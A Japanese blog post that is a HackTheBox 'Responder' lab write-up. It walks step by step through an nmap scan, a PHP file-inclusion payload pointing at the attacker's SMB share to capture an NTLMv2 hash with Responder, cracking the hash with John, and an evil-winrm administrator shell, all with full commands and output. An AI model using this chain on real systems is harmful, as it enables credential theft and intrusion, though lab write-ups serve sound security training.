LoginSignup
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

@GuriTech(GuriTech)

HackTheBox Writeup: Responder

Posted at

概要

HackTheBox:Responderのflagを入手する手順を記す。

Port Scan

$ nmap -p- -sV responder.htb -v --min-rate 5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-16 09:10 EDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 09:10
Scanning responder.htb (10.129.227.235) [2 ports]
Completed Ping Scan at 09:10, 0.25s elapsed (1 total hosts)
Initiating Connect Scan at 09:10
Scanning responder.htb (10.129.227.235) [65535 ports]
Discovered open port 80/tcp on 10.129.227.235
Discovered open port 5985/tcp on 10.129.227.235
Connect Scan Timing: About 47.19% done; ETC: 09:11 (0:00:35 remaining)
Completed Connect Scan at 09:11, 54.63s elapsed (65535 total ports)
Initiating Service scan at 09:11
Scanning 2 services on responder.htb (10.129.227.235)
Completed Service scan at 09:11, 6.52s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.227.235.
Initiating NSE at 09:11
Completed NSE at 09:11, 2.75s elapsed
Initiating NSE at 09:11
Completed NSE at 09:11, 1.02s elapsed
Nmap scan report for responder.htb (10.129.227.235)
Host is up (0.27s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.52 seconds

HTTPとWinRMが提供されていることが分かる。

HTTP

http://responder.htb にアクセスすると、http://unika.htb にリダイレクトされる。
しかし名前解決が出来ないため、Server Not Foundが返ってくる。

unika.htb

名前解決をしてアクセスするため、/etc/hostsにunika.htbを追加する。

$ sudo sh -c "echo '10.129.227.235\tunika.htb' >> /etc/hosts"

再度 http://unika.htb にアクセスすると以下の画面が表示される。
unika.htb

ページ内のリンクを探すと

http://unika.htb/index.php?page=french.html

というクエリを付与できるURLを見つけることが出来る。

クエリにadmin.phpを入力してみると
directory traversal
phpのinclude()関数によりファイルを読み込んでいること分かる。

Responder

問題文の中にResponderとツールについて言及されているので、
Responderを調べる。

詳しくは下記リンク参照
lgandx/Responder

超端的に言うとspoofingやrelay attackをするためのツールである。

Capture NTLM Hash

早速responderを使ってみる

$ sudo responder -I tun0
[sudo] password for kali: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.43]
    Responder IPv6             [dead:beef:2::1029]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-KV7GRKMPBNP]
    Responder Domain Name      [I5R5.LOCAL]
    Responder DCE-RPC Port     [46679]

[+] Listening for events...                                                                                         

/usr/share/responder/./Responder.py:366: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
  thread.setDaemon(True)
/usr/share/responder/./Responder.py:256: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
  server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)

NTLM Hashをキャプチャする準備が出来たので、

http://unika.htb/index.php?page=//10.10.14.43/somefile

とクエリを実行する。

その結果以下のNTLM Hashが得られる。

[SMB] NTLMv2-SSP Client   : ::ffff:10.129.227.235
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator                                                                 
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:ea2c1be41d2b82c1:55931AF6EDA26926C05B271BCE4BA5D9:010100000000000080280C5DAEC9D801808F458F4C5C5CC80000000002000800490035005200350001001E00570049004E002D004B0056003700470052004B004D00500042004E00500004003400570049004E002D004B0056003700470052004B004D00500042004E0050002E0049003500520035002E004C004F00430041004C000300140049003500520035002E004C004F00430041004C000500140049003500520035002E004C004F00430041004C000700080080280C5DAEC9D80106000400020000000800300030000000000000000100000000200000909AAB64B14DB0B177EB3ECFA4316FB65C9E9C2995611AF91D1C508D9C07AD120A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340033000000000000000000

パスワード解析

john the ripperを使いNTLM Hashからパスワードを求める。

最初の以下のファイルを作成

hash.txt
Administrator::RESPONDER:ea2c1be41d2b82c1:55931AF6EDA26926C05B271BCE4BA5D9:010100000000000080280C5DAEC9D801808F458F4C5C5CC80000000002000800490035005200350001001E00570049004E002D004B0056003700470052004B004D00500042004E00500004003400570049004E002D004B0056003700470052004B004D00500042004E0050002E0049003500520035002E004C004F00430041004C000300140049003500520035002E004C004F00430041004C000500140049003500520035002E004C004F00430041004C000700080080280C5DAEC9D80106000400020000000800300030000000000000000100000000200000909AAB64B14DB0B177EB3ECFA4316FB65C9E9C2995611AF91D1C508D9C07AD120A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340033000000000000000000

johnを実行する。ワードリストはrockyou.txtにしておく

$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2022-09-16 09:42) 100.0g/s 409600p/s 409600c/s 409600C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

以下の認証情報を手に入れることができた。

Administrator:badminton

Shell奪取

WinRMが提供されていて、かつ認証情報が手元にあるので、それを元にShellを奪取する。

$ evil-winrm -i responder.htb -u Administrator -p badminton

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                 

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                                                   

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

無事Shellを取ることが出来た。

あとはファイルを探索していけばflag.txtが見つかる。

以上

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
Sign upLogin
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?